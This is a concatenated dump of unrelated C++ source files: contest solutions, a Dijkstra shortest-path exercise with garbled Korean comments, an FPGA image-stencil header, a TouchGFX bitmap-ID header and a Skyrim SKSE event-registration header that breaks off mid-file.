////////////////////////////////////////////////////////////////////////////////
//
// Notice that the 2 axis are independent, so we can check every direction on
// on its own. We can always alternate movement between up/down or left/right
// in order not to stray too far from origin, until we're left with only one
// option, which means we need to only compare the limits of our grid with the
// max leftover steps in a given direction. Special care for the case where the
// leftover is 0, and the limits are exact.
//
////////////////////////////////////////////////////////////////////////////////
#include <bits/stdc++.h>
using namespace std;
int main() {
// freopen("in.in", "r", stdin);
// freopen("out.out", "w", stdout);
cin.tie(0);
cout.tie(0);
ios::sync_with_stdio(false);
int t;
cin >> t;
while (t--) {
int a, b, c, d, x, y, x1, y1, x2, y2;
cin >> a >> b >> c >> d;
cin >> x >> y >> x1 >> y1 >> x2 >> y2;
int xdiff = x - a + b, ydiff = y - c + d;
if (xdiff >= x1 && xdiff <= x2 && ydiff >= y1 && ydiff <= y2 && x2 - x1 >= (xdiff == x && (a || b)) && y2 - y1 >= (ydiff == y && (c || d)))
cout << "Yes\n";
else
cout << "No\n";
}
return 0;
}
|
cd20b14558ac1ca1b69fde3028c727802f18cc3d | a5392bca8a2728980b7d2c42b846da1508c05634 | /algorithm/c++/dijkstra.cpp | ccc35c29d907228260a76c5c6fc914e60f313e5a | [] | no_license | shin0park/Algorithm-Problems | 7d3a79054d4a10eadf38ef45910720eb14044689 | b8d9364e0ef5c8dc8bd197fd272f08e07b375225 | refs/heads/master | 2022-12-30T12:46:29.701349 | 2020-10-15T09:34:09 | 2020-10-15T09:34:09 | 288,099,317 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,729 | cpp | dijkstra.cpp | //๋ค์ต์คํธ๋ผ ์๊ณ ๋ฆฌ์ฆ
// t[i] : ์ ์ i ์ ๋๋ฌํ๋๋ฐ ๊ฑธ๋ฆฌ๋ ์ต๋จ๊ฑฐ๋ฆฌ
//for i = 0~N
//1. T[i] ์ค ์ต์๊ฐ์ ์ ํ๋ค. ๋จ, ์ง๊ธ๊น์ง ์ต์๊ฐ์ผ๋ก ๋ฝํ์ง ์์๋ ๊ฐ๋ค ์ค.
//2.index๋ก ๋ถํฐ ๋ป์ด๋๊ฐ๋ค. t[index] + cost
#include <iostream>
#include <cstdio>
#include <vector>
#include <algorithm>
using namespace std;
const int MAX = 100;
vector<int> graph[MAX];
vector<int> cost[MAX];
int n, m, start, end2;
int table[MAX];
bool check[MAX];
int main()
{
cin >> n >> m >> start >> end2;
int a, b, c;
for (int i = 0; i < m; i++)
{
cin >> a >> b >> c;
graph[a].push_back(b);
graph[b].push_back(a);
cost[a].push_back(c);
cost[b].push_back(c);
}
for (int i = 0; i < n; i++)
{
table[i] = 987324324;
}
table[start] = 0;
for (int i = 0; i < n; i++)
{
//1. ์ต์๊ฐ์ ๊ตฌํ๋ค. ๋จ ์ง๊ธ๊น์ง ์ต๋จ๊ฑฐ๋ฆฌ๋ก ํ์ ๋์ง ์์๋ ์ ์ ์ ๋ํด์
//2. ๊ทธ ์ต์๊ฐ์ ๊ฐ๋ ๋
ธ๋๋ก๋ถํฐ ๋ป์ด๋๊ฐ๋ค.
int minValue = 98765432;
int minIndex = -1;
for (int j = 0; j < n; j++)
{
if (!check[j] && minValue > table[j])
{
minValue = table[j];
minIndex = j;
}
}
check[minIndex] = true;
int node2, cost2;
for (int j = 0; j < graph[minIndex].size(); j++)
{
node2 = graph[minIndex][j];
cost2 = cost[minIndex][j];
if (table[node2] > table[minIndex] + cost2)
{
table[node2] = table[minIndex] + cost2;
}
}
}
cout << end2;
return 0;
} |
5dbe61038e53564ac8e1900774499d0945eaa584 | 7516ff2500b3b1a7afd498404ca01185d33298d9 | /DirectProgramming/C++SYCL_FPGA/ReferenceDesigns/anr/src/column_stencil.hpp | 4d102a3b92e20ca017326deaa3faed8c4104cd5d | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | oneapi-src/oneAPI-samples | 658add2c573ef2770ea260f39a20aa9aecc941a1 | 6901f7203b549a651911fec694ffefad82ed0b35 | refs/heads/master | 2023-09-01T20:14:50.113049 | 2023-08-07T23:44:18 | 2023-08-07T23:44:18 | 267,223,745 | 675 | 728 | MIT | 2023-09-14T12:39:11 | 2020-05-27T04:52:05 | HTML | UTF-8 | C++ | false | false | 9,476 | hpp | column_stencil.hpp | #ifndef __COLUMN_STENCIL_HPP__
#define __COLUMN_STENCIL_HPP__
#include <sycl/sycl.hpp>
#include <sycl/ext/intel/fpga_extensions.hpp>
#include "data_bundle.hpp"
#include "shift_reg.hpp"
// Included from DirectProgramming/C++SYCL_FPGA/include/
#include "constexpr_math.hpp"
#include "unrolled_loop.hpp"
using namespace sycl;
//
// Generic 1D column (i.e. vertical) stencil.
//
// TEMPLATE PARAMETERS
// InType: The input pixel type. This is read in by the row stencil
// through a SYCL pipe. The pipe should be hold
// 'parallel_cols' elements of this type using the
// 'DataBundle' type (DataBundle<InType, parallel_cols>).
// OutType: The output pixel type. The same logic as the InType above.
// The data written to the output type is
// DataBundle<OutType, parallel_cols>
// IndexT: The datatype used for indexing. This type should have
// enough bits to count up to the number or rows and columns.
// InPipe: The input pipe to stream in 'parallel_cols' 'InT' values.
// OutPipe: The output pipe to stream out 'parallel_cols' 'OutT'
// values.
// filter_size: The filter size (i.e., the number of pixels to convolve).
// max_cols: The maximum number of columns in the image. The runtime
// argument 'cols' chooses the actual number of columns, and
// it must be less than or equal to 'max_cols'. Changing
// 'max_cols' changes the area necessary for the IP, since
// it sets the size of the FIFOs for the line stores.
// parallel_cols: The number of columns to compute in parallel.
// StencilFunction: The stencil callback functor, provided by the user, which
// is called for every pixel to perform the actual
// convolution. The function definition should be as follows:
//
// OutT MyStencilFunction(int, int, ShiftReg<InT, filter_size>,
// FunctionArgTypes...)
//
// The user can provide extra arguments to the callback by
// using the FunctionArgTypes parameter pack.
// FunctionArgTypes: The user-provided type parameter pack of the arguments to
// pass to the callback function.
//
//
// FUNCTION ARGUMENTS
// rows: The number of rows in the image.
// cols: The number of columns in the image.
// computed by the IP is rows*cols.
// zero_val: The 'zero' value for the stencil. This is used to pad
// the columns of the image.
// func: The user-defined functor. This is a callback that is called
// to perform the 1D convolution.
// stencil_args...: The parameter pack of arguments to be passed to the
// user-defined callback functor.
//
template <typename InType, typename OutType, typename IndexT, typename InPipe,
typename OutPipe, unsigned filter_size, unsigned max_cols,
unsigned parallel_cols, typename StencilFunction,
typename... FunctionArgTypes>
void ColumnStencil(IndexT rows, IndexT cols, const InType zero_val,
StencilFunction func, FunctionArgTypes... stencil_args) {
// types coming into and out of the kernel from pipes, respectively
using InPipeT = fpga_tools::DataBundle<InType, parallel_cols>;
using OutPipeT = fpga_tools::DataBundle<OutType, parallel_cols>;
// constexpr
constexpr int kPaddingPixels = filter_size / 2;
constexpr int kShiftRegCols = 1 + parallel_cols - 1;
constexpr int kShiftRegRows = filter_size;
constexpr int kLineBufferFIFODepth =
(max_cols / parallel_cols) + /*filter_size*/ 1;
constexpr int kNumLineBuffers = filter_size - 1;
constexpr IndexT kColThreshLow = kPaddingPixels;
constexpr IndexT kRowThreshLow = kPaddingPixels;
constexpr IndexT kRowOutputThreshLow = 2 * kPaddingPixels;
// static asserts to validate template arguments
static_assert(filter_size > 1);
static_assert(max_cols > parallel_cols);
static_assert(parallel_cols > 0);
static_assert(fpga_tools::IsPow2(parallel_cols));
static_assert(std::is_invocable_r_v<OutType, StencilFunction, int, int,
fpga_tools::ShiftReg<InType, filter_size>,
FunctionArgTypes...>);
// constants
const IndexT row_thresh_high = kPaddingPixels + rows;
const IndexT padded_rows = rows + 2 * kRowThreshLow;
const IndexT fifo_wrap =
(cols + /*filter_size*/ 1 - 1 + (parallel_cols - 1 /*round up*/)) /
parallel_cols;
const IndexT col_loop_bound = (cols / parallel_cols);
// the 2D shift register to store the 'kShiftRegCols' columns of size
// 'kShiftRegRows'
fpga_tools::ShiftReg2d<InType, kShiftRegRows, kShiftRegCols> shifty_2d;
// the line buffer fifo
[[intel::fpga_memory]]
InPipeT line_buffer_FIFO[kLineBufferFIFODepth][kNumLineBuffers];
InPipeT last_new_pixels(zero_val);
IndexT fifo_idx = 0; // track top of FIFO
// the main processing loop for the image
// NOTE: speculated iterations here will cause a bubble, but
// small number relative padded_rows * col_loop_bound and the
// increase in Fmax justifies it.
[[intel::loop_coalesce(2), intel::initiation_interval(1),
intel::ivdep(line_buffer_FIFO)]]
for (IndexT row = 0; row < padded_rows; row++) {
[[intel::initiation_interval(1), intel::ivdep(line_buffer_FIFO)]]
for (IndexT col_loop = 0; col_loop < col_loop_bound; col_loop++) {
// the base column index for this iteration
IndexT col = col_loop * parallel_cols;
// read in values if it is time to start reading
// (row >= kRowThreshLow) and if there are still more to read
// (row < row_thresh_high)
InPipeT new_pixels(zero_val);
if ((row >= kRowThreshLow) && (row < row_thresh_high)) {
new_pixels = InPipe::read();
}
InPipeT input_val(last_new_pixels);
constexpr auto kInputShiftVals =
fpga_tools::Min(kColThreshLow, (IndexT)parallel_cols);
input_val.template ShiftMultiVals<kInputShiftVals, parallel_cols>(
new_pixels);
[[intel::fpga_register]]
InPipeT pixel_column[filter_size];
// load from FIFO to shift register
//
// โโโโโโโโโโโโ
// โโโโโฌโโโโฌโโโโ โโโโโค FIFO
// โ โโ โโ โโโ โโโโโโโโโโโโ
// โโโโโผโโโโผโโโโค โโโโโโโโโโโโ
// โ โโ โโ โโโโโโโค FIFO
// โโโโโผโโโโผโโโโค โโโโโโโโโโโโ
// โ โโ โโ โโโโโโโโโโโโโโโโโโInput
// โโโโโดโโโโดโโโโ
fpga_tools::UnrolledLoop<0, filter_size>([&](auto stencil_row) {
if constexpr (stencil_row != (filter_size - 1)) {
pixel_column[stencil_row] = line_buffer_FIFO[fifo_idx][stencil_row];
} else {
pixel_column[stencil_row] = input_val;
}
});
shifty_2d.template ShiftCols<parallel_cols>(pixel_column);
// Continue processing through FIFOs
// โโโโโโโโโโโโโโโ
// โ FIFO โโโโโ
// โโโโโโโโโโโโโโโ โ
// โโโโโโโโโโโโโโโโโโโโโ
// โ โโโโโโโโโโโโโโโ
// โโโค FIFO โโโโโ
// โโโโโโโโโโโโโโโ โ
// โโInput
fpga_tools::UnrolledLoop<0, (filter_size - 1)>([&](auto fifo_row) {
if constexpr (fifo_row != (filter_size - 2)) {
line_buffer_FIFO[fifo_idx][fifo_row] = pixel_column[fifo_row + 1];
} else {
line_buffer_FIFO[fifo_idx][(filter_size - 2)] = input_val;
}
});
// Perform the convolution on the 1D window
OutPipeT out_data((OutType)0);
fpga_tools::UnrolledLoop<0, parallel_cols>([&](auto stencil_idx) {
fpga_tools::ShiftReg<InType, kShiftRegRows> shifty_copy;
int col_local = col + stencil_idx;
fpga_tools::UnrolledLoop<0, filter_size>([&](auto stencil_row) {
shifty_copy[stencil_row] = shifty_2d[stencil_row][stencil_idx];
});
// pass a copy of the line buffer's register window.
out_data[stencil_idx] = func((row - kRowOutputThreshLow), col_local,
shifty_copy, stencil_args...);
});
// write the output data if it is in range (i.e., it is a real pixel
// and not part of the padding)
if (row >= kRowOutputThreshLow) {
OutPipe::write(out_data);
}
// increment the fifo read/write index
if (fifo_idx == (fifo_wrap - 1)) {
fifo_idx = 0;
} else {
fifo_idx++;
}
last_new_pixels = new_pixels;
}
}
}
#endif /* __COLUMN_STENCIL_HPP__ */ |
422bfaebcbe8c6da88f77fb165327d9bfe6ce45b | f3c01e5ebacea1751e993a6575bde896064b9c0e | /TouchGFX/generated/images/include/BitmapDatabase.hpp | e51b49937ae7b679a6c1addc34fb70e547ee3e70 | [] | no_license | ThanhTrungqn/test-screen-led | a6e682fd9b15e2b7c71f6b2bc2c87d6cf2a8ed25 | 3c62453a2fbeaeae9900ba73634e9dc92bef13e6 | refs/heads/master | 2021-03-18T11:14:02.101644 | 2020-08-26T11:23:56 | 2020-08-26T11:23:56 | 247,070,138 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,357 | hpp | BitmapDatabase.hpp | // Generated by imageconverter. Please, do not edit!
#ifndef BITMAPDATABASE_HPP
#define BITMAPDATABASE_HPP
#include <touchgfx/hal/Types.hpp>
#include <touchgfx/lcd/LCD.hpp>
#include <touchgfx/Bitmap.hpp>
const uint16_t BITMAP_APPSTORE_LABEL_ID = 0;
const uint16_t BITMAP_BATTERY_100_ID = 1;
const uint16_t BITMAP_BATTERY_LOW_ID = 2;
const uint16_t BITMAP_BG_IMAGE_ID = 3;
const uint16_t BITMAP_BLUE_ADJUST_BACK_ID = 4;
const uint16_t BITMAP_BUTTON_NEXT_ID = 5;
const uint16_t BITMAP_COUNT_BACK_PERCENT_ID = 6;
const uint16_t BITMAP_CUSTOM_SLIDER_LUX_BG_ID = 7;
const uint16_t BITMAP_CUSTOM_SLIDER_LUX_BUTTON_ID = 8;
const uint16_t BITMAP_CUSTOM_SLIDER_LUX_FRONT_ID = 9;
const uint16_t BITMAP_CUSTOM_SLIDER_SPEED_BG_ID = 10;
const uint16_t BITMAP_CUSTOM_SLIDER_SPEED_BUTTON_ID = 11;
const uint16_t BITMAP_CUSTOM_SLIDER_SPEED_FRONT_ID = 12;
const uint16_t BITMAP_FRAME_BOTTOM_LEFT_ID = 13;
const uint16_t BITMAP_FRAME_BOTTOM_RIGHT_ID = 14;
const uint16_t BITMAP_FRAME_TOP_LEFT_ID = 15;
const uint16_t BITMAP_FRAME_TOP_RIGHT_ID = 16;
const uint16_t BITMAP_GOOGLE_PLAY_LABEL_ID = 17;
const uint16_t BITMAP_GRAY_ADJUST_BACK_ID = 18;
const uint16_t BITMAP_GREEN_TOGGLE_OFF_ID = 19;
const uint16_t BITMAP_GREEN_TOGGLE_ON_ID = 20;
const uint16_t BITMAP_GROUP_ID = 21;
const uint16_t BITMAP_IC_40_LIGHTNESS_ID = 22;
const uint16_t BITMAP_IC_40_LIGHTNESS_GREY_ID = 23;
const uint16_t BITMAP_IC_40_SPEED_ID = 24;
const uint16_t BITMAP_IC_40_SPEED_GREY_ID = 25;
const uint16_t BITMAP_ICON_BRIGHTNESS_ID = 26;
const uint16_t BITMAP_ICON_STRENGTH_ID = 27;
const uint16_t BITMAP_ILLUSTRATION_ADJUST_SPEED_LARGE_ID = 28;
const uint16_t BITMAP_LAMP_CONTROL_ID = 29;
const uint16_t BITMAP_LAMP_CONTROL_1_ID = 30;
const uint16_t BITMAP_LARGE_ON_ID = 31;
const uint16_t BITMAP_LOGO_CIRCLE_ID = 32;
const uint16_t BITMAP_LOGO_CIRCLE_GREY_ID = 33;
const uint16_t BITMAP_LOGOS_GROUP_1_ID = 34;
const uint16_t BITMAP_PLAY_IC_ID = 35;
const uint16_t BITMAP_SETTINGS_ID = 36;
const uint16_t BITMAP_SETTINGS_BACK_BUTTON_ID = 37;
const uint16_t BITMAP_SETTINGS_ICON_APP_ID = 38;
const uint16_t BITMAP_SETTINGS_ICON_BATTERY_ID = 39;
const uint16_t BITMAP_SETTINGS_ICON_BLUETOOTH_ID = 40;
const uint16_t BITMAP_SETTINGS_ICON_INFO_ID = 41;
const uint16_t BITMAP_SETTINGS_ICON_RESET_ID = 42;
const uint16_t BITMAP_SETTINGS_ICON_UPDATE_ID = 43;
const uint16_t BITMAP_SETTINGS_SLIDER_0_ID = 44;
const uint16_t BITMAP_SETTINGS_SLIDER_100_ID = 45;
const uint16_t BITMAP_SETTINGS_SLIDER_MARKER_ID = 46;
const uint16_t BITMAP_SLIDER_100_ID = 47;
const uint16_t BITMAP_SLIDER_BACKGROUND_ID = 48;
const uint16_t BITMAP_SLIDER_LUX_BG_ID = 49;
const uint16_t BITMAP_SLIDER_LUX_BUTTON_ID = 50;
const uint16_t BITMAP_SLIDER_LUX_FRONT_ID = 51;
const uint16_t BITMAP_SLIDER_OVAL_ID = 52;
const uint16_t BITMAP_SLIDER_OVAL2X_ID = 53;
const uint16_t BITMAP_SLIDER_SPEED_BG_ID = 54;
const uint16_t BITMAP_SLIDER_SPEED_FRONT_ID = 55;
const uint16_t BITMAP_SMALL_LOGO_ID = 56;
const uint16_t BITMAP_SMALL_LOGO_X2_ID = 57;
const uint16_t BITMAP_SPEED_IMAGE_LARGE_ID = 58;
const uint16_t BITMAP_STRENGTH_IMAGE_LARGE_ID = 59;
const uint16_t BITMAP_SWITCH_ID = 60;
const uint16_t BITMAP_TOGGLE_OFF_ID = 61;
const uint16_t BITMAP_TOGGLE_ON_ID = 62;
const uint16_t BITMAP_TOP_FIGURE_1_ID = 63;
namespace BitmapDatabase
{
const touchgfx::Bitmap::BitmapData* getInstance();
uint16_t getInstanceSize();
}
#endif
|
0760567af2aece34ab865e00a2fd2b65638699a1 | 3da0b0276bc8c3d7d1bcdbabfb0e763a38d3a24c | /zju.finished/1985.cpp | 9408dee91462999f144c3df59b4ba9e2a8eabaaf | [] | no_license | usherfu/zoj | 4af6de9798bcb0ffa9dbb7f773b903f630e06617 | 8bb41d209b54292d6f596c5be55babd781610a52 | refs/heads/master | 2021-05-28T11:21:55.965737 | 2009-12-15T07:58:33 | 2009-12-15T07:58:33 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,171 | cpp | 1985.cpp | #include<cstdio>
using namespace std;
//ๅฉ็จBarๅฝขๅพ็็น็น๏ผๅจO(N)็ๆถ้ดๅ
ๆฑๅบNไธช็น็ๅทฆๅณ็้
enum {
Size = 100004,
};
struct Node {
int h;
int l,r;
};
int testcase, num;
Node tree[Size];
int sum[Size],top;
void fun(){
int i,t;
tree[0].h = tree[num + 1].h = -1;
//ๆฑๅทฆ่พน็็้ไฝ็ฝฎ
top = 0;
sum[top] = 0;
for(i=1;i<=num;i++){
while( tree[sum[top]].h >= tree[i].h){
top--;
}
tree[i].l = sum[top] + 1;
sum[++top] = i;
}
//ๆฑๅณ่พน็็้ไฝ็ฝฎ
top = 0;
sum[top] = num + 1;
for(i=num;i>=1;i--){
while(tree[sum[top]].h >= tree[i].h){
top --;
}
tree[i].r = sum[top] -1;
sum[++top] = i;
}
//่ฎก็ฎ้ข็งฏ
long long ret, ans = 0;
for(i =1;i<=num;i++){
ret = tree[i]. r - tree[i].l + 1;
ret *= tree[i].h;
if(ret > ans)
ans = ret;
}
printf("%lld\n", ans);
//printf("%I64d\n", ans);
}
int main(){
scanf("%d ", &num);
while(num > 0){
for(int i=1;i<=num;i++){
scanf("%d ", &tree[i].h);
}
fun();
scanf("%d ", &num);
}
return 0;
}
|
b683e7a026c8d5d8f43b591f3f301bb87d5e3f7f | 987b43cb95103fe3af35e8756c29aee7f3c7a07c | /include/SKSE/RegistrationMapUnique.h | 515f8391fc5aee7b7fb1ad4f7f354ab54b3a30ad | [
"MIT"
] | permissive | powerof3/CommonLibSSE | 29e6017c8bae90665db4d30318ee66fd19e6c139 | ff2afeaf5d6f6cac4c5b7cb1caaa2e0d89713393 | refs/heads/dev | 2023-08-31T05:15:02.732037 | 2023-08-21T09:52:55 | 2023-08-21T09:52:55 | 374,565,412 | 38 | 26 | MIT | 2023-09-10T13:09:57 | 2021-06-07T06:55:35 | C++ | UTF-8 | C++ | false | false | 21,221 | h | RegistrationMapUnique.h | #pragma once
#include "RE/A/ActiveEffect.h"
#include "RE/B/BGSRefAlias.h"
#include "RE/B/BSFixedString.h"
#include "RE/F/FunctionArguments.h"
#include "RE/I/IObjectHandlePolicy.h"
#include "RE/T/TESForm.h"
#include "RE/T/TESObjectREFR.h"
#include "RE/T/TypeTraits.h"
#include "RE/V/VirtualMachine.h"
#include "SKSE/API.h"
#include "SKSE/Impl/RegistrationTraits.h"
#include "SKSE/Interfaces.h"
#include "SKSE/Logger.h"
namespace SKSE
{
namespace Impl
{
template <class Filter>
class EventFilterUnique
{
public:
using EventFilter = std::pair<Filter, bool>;
using EventFilterHandleMap = std::map<EventFilter, std::set<RE::VMHandle>>;
using PassFilterFunc = std::function<bool(const Filter&, bool)>;
class RegistrationMapUniqueBase
{
public:
RegistrationMapUniqueBase() = delete;
RegistrationMapUniqueBase(const std::string_view& a_eventName);
RegistrationMapUniqueBase(const RegistrationMapUniqueBase& a_rhs);
RegistrationMapUniqueBase(RegistrationMapUniqueBase&& a_rhs) noexcept;
~RegistrationMapUniqueBase();
RegistrationMapUniqueBase& operator=(const RegistrationMapUniqueBase& a_rhs);
RegistrationMapUniqueBase& operator=(RegistrationMapUniqueBase&& a_rhs) noexcept;
bool Register(RE::TESForm* a_form, const Filter& a_filter, bool a_matchFilter);
bool Register(RE::ActiveEffect* a_activeEffect, const Filter& a_filter, bool a_matchFilter);
bool Register(RE::BGSRefAlias* a_alias, const Filter& a_filter, bool a_matchFilter);
bool Unregister(RE::TESForm* a_form, const Filter& a_filter, bool a_matchFilter);
bool Unregister(RE::ActiveEffect* a_activeEffect, const Filter& a_filter, bool a_matchFilter);
bool Unregister(RE::BGSRefAlias* a_alias, const Filter& a_filter, bool a_matchFilter);
void UnregisterAll(const RE::TESForm* a_form);
void UnregisterAll(RE::ActiveEffect* a_activeEffect);
void UnregisterAll(RE::BGSRefAlias* a_alias);
void UnregisterAll(RE::VMHandle a_handle);
void UnregisterAll(RE::FormID a_uniqueID);
void Clear();
bool Save(SerializationInterface* a_intfc, std::uint32_t a_type, std::uint32_t a_version);
bool Save(SerializationInterface* a_intfc);
bool Load(SerializationInterface* a_intfc);
void Revert(SerializationInterface*);
protected:
using Lock = std::recursive_mutex;
using Locker = std::lock_guard<Lock>;
bool Register(const void* a_object, RE::FormID a_formID, EventFilter a_filter, RE::VMTypeID a_typeID);
bool Unregister(const void* a_object, RE::FormID a_formID, EventFilter a_filter, RE::VMTypeID a_typeID);
void UnregisterAll(const void* a_object, RE::FormID a_formID, RE::VMTypeID a_typeID);
std::map<RE::FormID, EventFilterHandleMap> _regs;
std::string _eventName;
mutable Lock _lock;
};
template <class Enable, class... Args>
class RegistrationMapUnique;
template <class... Args>
class RegistrationMapUnique<
std::enable_if_t<
std::conjunction_v<
RE::BSScript::is_return_convertible<Args>...>>,
Args...> :
public RegistrationMapUniqueBase
{
private:
using super = RegistrationMapUniqueBase;
public:
RegistrationMapUnique() = delete;
RegistrationMapUnique(const RegistrationMapUnique&) = default;
RegistrationMapUnique(RegistrationMapUnique&&) = default;
inline RegistrationMapUnique(const std::string_view& a_eventName) :
super(a_eventName)
{}
~RegistrationMapUnique() = default;
RegistrationMapUnique& operator=(const RegistrationMapUnique&) = default;
RegistrationMapUnique& operator=(RegistrationMapUnique&&) = default;
inline void SendEvent(const RE::TESObjectREFR* a_target, PassFilterFunc a_callback, Args... a_args)
{
RE::BSFixedString eventName(this->_eventName);
if (auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton()) {
const auto targetFormID = a_target->GetFormID();
if (auto it = this->_regs.find(targetFormID); it != this->_regs.end()) {
for (auto& [eventFilter, handles] : it->second) {
if (a_callback(eventFilter.first, eventFilter.second)) {
for (auto& handle : handles) {
auto args = RE::MakeFunctionArguments(std::forward<Args>(a_args)...);
vm->SendEvent(handle, eventName, args);
}
}
}
}
}
}
inline void QueueEvent(RE::TESObjectREFR* a_target, PassFilterFunc a_callback, Args... a_args)
{
std::tuple args(VMArg(std::forward<Args>(a_args))...);
auto task = GetTaskInterface();
assert(task);
if (task) {
task->AddTask([a_target, a_callback, args, this]() mutable {
SendEvent_Tuple(a_target, a_callback, std::move(args), index_sequence_for_tuple<decltype(args)>{});
});
}
}
private:
template <class Tuple, std::size_t... I>
inline void SendEvent_Tuple(RE::TESObjectREFR* a_target, PassFilterFunc a_callback, Tuple&& a_tuple, std::index_sequence<I...>)
{
SendEvent(a_target, a_callback, std::get<I>(std::forward<Tuple>(a_tuple)).Unpack()...);
}
};
template <>
class RegistrationMapUnique<void> : public RegistrationMapUniqueBase
{
private:
using super = RegistrationMapUniqueBase;
public:
RegistrationMapUnique() = delete;
RegistrationMapUnique(const RegistrationMapUnique&) = default;
RegistrationMapUnique(RegistrationMapUnique&&) = default;
inline RegistrationMapUnique(const std::string_view& a_eventName) :
super(a_eventName)
{}
~RegistrationMapUnique() = default;
RegistrationMapUnique& operator=(const RegistrationMapUnique&) = default;
RegistrationMapUnique& operator=(RegistrationMapUnique&&) = default;
inline void SendEvent(const RE::TESObjectREFR* a_target, PassFilterFunc a_callback)
{
RE::BSFixedString eventName(this->_eventName);
if (auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton()) {
const auto targetFormID = a_target->GetFormID();
if (auto it = this->_regs.find(targetFormID); it != this->_regs.end()) {
for (auto& [eventFilter, handles] : it->second) {
if (a_callback(eventFilter.first, eventFilter.second)) {
for (auto& handle : handles) {
auto args = RE::MakeFunctionArguments();
vm->SendEvent(handle, eventName, args);
}
}
}
}
}
}
inline void QueueEvent(RE::TESObjectREFR* a_target, PassFilterFunc a_callback)
{
auto task = GetTaskInterface();
assert(task);
task->AddTask([a_target, a_callback, this]() {
SendEvent(a_target, std::move(a_callback));
});
}
};
};
template <class Filter>
EventFilterUnique<Filter>::RegistrationMapUniqueBase::RegistrationMapUniqueBase(const std::string_view& a_eventName) :
_regs(),
_eventName(a_eventName),
_lock()
{}
template <class Filter>
EventFilterUnique<Filter>::RegistrationMapUniqueBase::RegistrationMapUniqueBase(const RegistrationMapUniqueBase& a_rhs) :
_regs(),
_eventName(a_rhs._eventName),
_lock()
{
a_rhs._lock.lock();
_regs = a_rhs._regs;
a_rhs._lock.unlock();
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
if (auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr) {
for (auto& reg : _regs) {
for (auto& keyHandles : reg.second) {
for (auto& handle : keyHandles.second) {
policy->PersistHandle(handle);
}
}
}
}
}
template <class Filter>
EventFilterUnique<Filter>::RegistrationMapUniqueBase::RegistrationMapUniqueBase(RegistrationMapUniqueBase&& a_rhs) noexcept :
_regs(),
_eventName(a_rhs._eventName),
_lock()
{
Locker locker(a_rhs._lock);
_regs = std::move(a_rhs._regs);
a_rhs._regs.clear();
}
template <class Filter>
EventFilterUnique<Filter>::RegistrationMapUniqueBase::~RegistrationMapUniqueBase()
{
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
if (auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr) {
for (auto& reg : _regs) {
for (auto& keyHandles : reg.second) {
for (auto& handle : keyHandles.second) {
policy->ReleaseHandle(handle);
}
}
}
}
}
template <class Filter>
typename EventFilterUnique<Filter>::RegistrationMapUniqueBase& EventFilterUnique<Filter>::RegistrationMapUniqueBase::operator=(const RegistrationMapUniqueBase& a_rhs)
{
if (this == &a_rhs) {
return *this;
}
Locker lhsLocker(_lock);
Clear();
{
Locker rhsLocker(a_rhs._lock);
_regs = a_rhs._regs;
_eventName = a_rhs._eventName;
}
auto vm = RE::BSScript::Internal::VirtualMachine::GetSingleton();
if (auto policy = vm ? vm->GetObjectHandlePolicy() : nullptr) {
for (auto& reg : _regs) {
for (auto& keyHandles : reg.second) {
for (auto& handle : keyHandles.second) {
policy->PersistHandle(handle);
}
}
}
}
return *this;
}
template <class Filter>
typename EventFilterUnique<Filter>::RegistrationMapUniqueBase& EventFilterUnique<Filter>::RegistrationMapUniqueBase::operator=(RegistrationMapUniqueBase&& a_rhs) noexcept
{
if (this == &a_rhs) {
return *this;
}
Locker lhsLocker(_lock);
Locker rhsLocker(a_rhs._lock);
Clear();
_eventName = a_rhs._eventName;
_regs = std::move(a_rhs._regs);
a_rhs._regs.clear();
return *this;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Register(RE::TESForm* a_form, const Filter& a_filter, bool a_matchFilter)
{
assert(a_form);
const auto reference = a_form->AsReference();
const auto formID = reference ? reference->GetFormID() : 0;
if (formID != 0) {
return Register(a_form, formID, { a_filter, a_matchFilter }, static_cast<RE::VMTypeID>(a_form->GetFormType()));
}
return false;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Register(RE::ActiveEffect* a_activeEffect, const Filter& a_filter, bool a_matchFilter)
{
assert(a_activeEffect);
const auto target = a_activeEffect->GetTargetActor();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
return Register(a_activeEffect, formID, { a_filter, a_matchFilter }, RE::ActiveEffect::VMTYPEID);
}
return false;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Register(RE::BGSRefAlias* a_alias, const Filter& a_filter, bool a_matchFilter)
{
assert(a_alias);
const auto target = a_alias->GetActorReference();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
return Register(a_alias, formID, { a_filter, a_matchFilter }, RE::BGSRefAlias::VMTYPEID);
}
return false;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Unregister(RE::TESForm* a_form, const Filter& a_filter, bool a_matchFilter)
{
assert(a_form);
const auto reference = a_form->AsReference();
const auto formID = reference ? reference->GetFormID() : 0;
if (formID != 0) {
return Unregister(a_form, formID, { a_filter, a_matchFilter }, static_cast<RE::VMTypeID>(a_form->GetFormType()));
}
return false;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Unregister(RE::ActiveEffect* a_activeEffect, const Filter& a_filter, bool a_matchFilter)
{
assert(a_activeEffect);
const auto target = a_activeEffect->GetTargetActor();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
return Unregister(a_activeEffect, formID, { a_filter, a_matchFilter }, RE::ActiveEffect::VMTYPEID);
}
return false;
}
template <class Filter>
bool EventFilterUnique<Filter>::RegistrationMapUniqueBase::Unregister(RE::BGSRefAlias* a_alias, const Filter& a_filter, bool a_matchFilter)
{
assert(a_alias);
const auto target = a_alias->GetActorReference();
const auto formID = target ? target->GetFormID() : 0;
if (formID != 0) {
return Unregister(a_alias, formID, { a_filter, a_matchFilter }, RE::BGSRefAlias::VMTYPEID);
}
return false;
}
template <class Filter>
